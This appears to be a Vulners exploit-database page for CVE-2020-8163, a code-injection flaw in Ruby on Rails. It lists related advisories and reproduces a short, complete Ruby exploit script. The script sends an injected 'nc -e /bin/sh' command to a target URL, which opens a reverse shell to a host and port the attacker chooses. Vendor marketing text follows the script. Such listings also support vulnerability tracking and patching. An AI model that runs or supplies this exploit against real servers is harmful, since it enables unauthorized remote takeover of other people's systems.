Rails 5.0.1 - Remote Code Execution Exploit
| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
 | Exploit for Code Injection in Rubyonrails Rails | 19 Jun 202021:03 | – | githubexploit |
| Exploit for Code Injection in Rubyonrails Rails | 18 Jul 202018:42 | – | githubexploit |
| Exploit for Code Injection in Rubyonrails Rails | 19 Jun 202021:03 | – | githubexploit |
 | Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in Rails | 18 Jul 202006:08 | – | ibm |
 | CVE-2020-8163 | 2 Jul 202019:15 | – | attackerkb |
 | Ruby on Rails Module Delegation Heap Buffer Overflow DoS | 15 Mar 202100:00 | – | bdu_fstec |
 | Rails -- remote code execution vulnerability | 15 May 202000:00 | – | freebsd |
 | CVE-2020-8163 | 24 Jun 202008:55 | – | circl |
 | Ruby on Rails Remote Code Execution Vulnerability (CNVD-2020-34451) | 19 May 202000:00 | – | cnvd |
 | Rails Remote Code Execution (CVE-2020-8163) | 6 Nov 202200:00 | – | checkpoint_advisories |
10
# Exploit Title: Rails 5.0.1 - Remote Code Execution
# Exploit Author: Lucas Amorim
# Vendor Homepage: www.rubyonrails.org
# Software Link: www.rubyonrails.org
# Version: Rails < 5.0.1
# Tested on: Linux/OSx
# CVE : CVE-2020-8163
# More information: https://github.com/sh286/CVE-2020-8163
#!/usr/bin/ruby
require 'net/http'
def header
puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n"
puts "[*] - Author: Lucas Amorim [email protected]"
puts "[*] - Usage: \n"
puts "ruby exploit.rb <url> <ip> <port>"
end
if ARGV.length < 3
header
exit(-1)
end
url = ARGV[0]
ip = ARGV[1]
port = ARGV[2]
puts "[*] Sending payload to #{url}"
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")
Net::HTTP.get(uri)
# 0day.today [2020-07-27] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Jul 2020 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.82465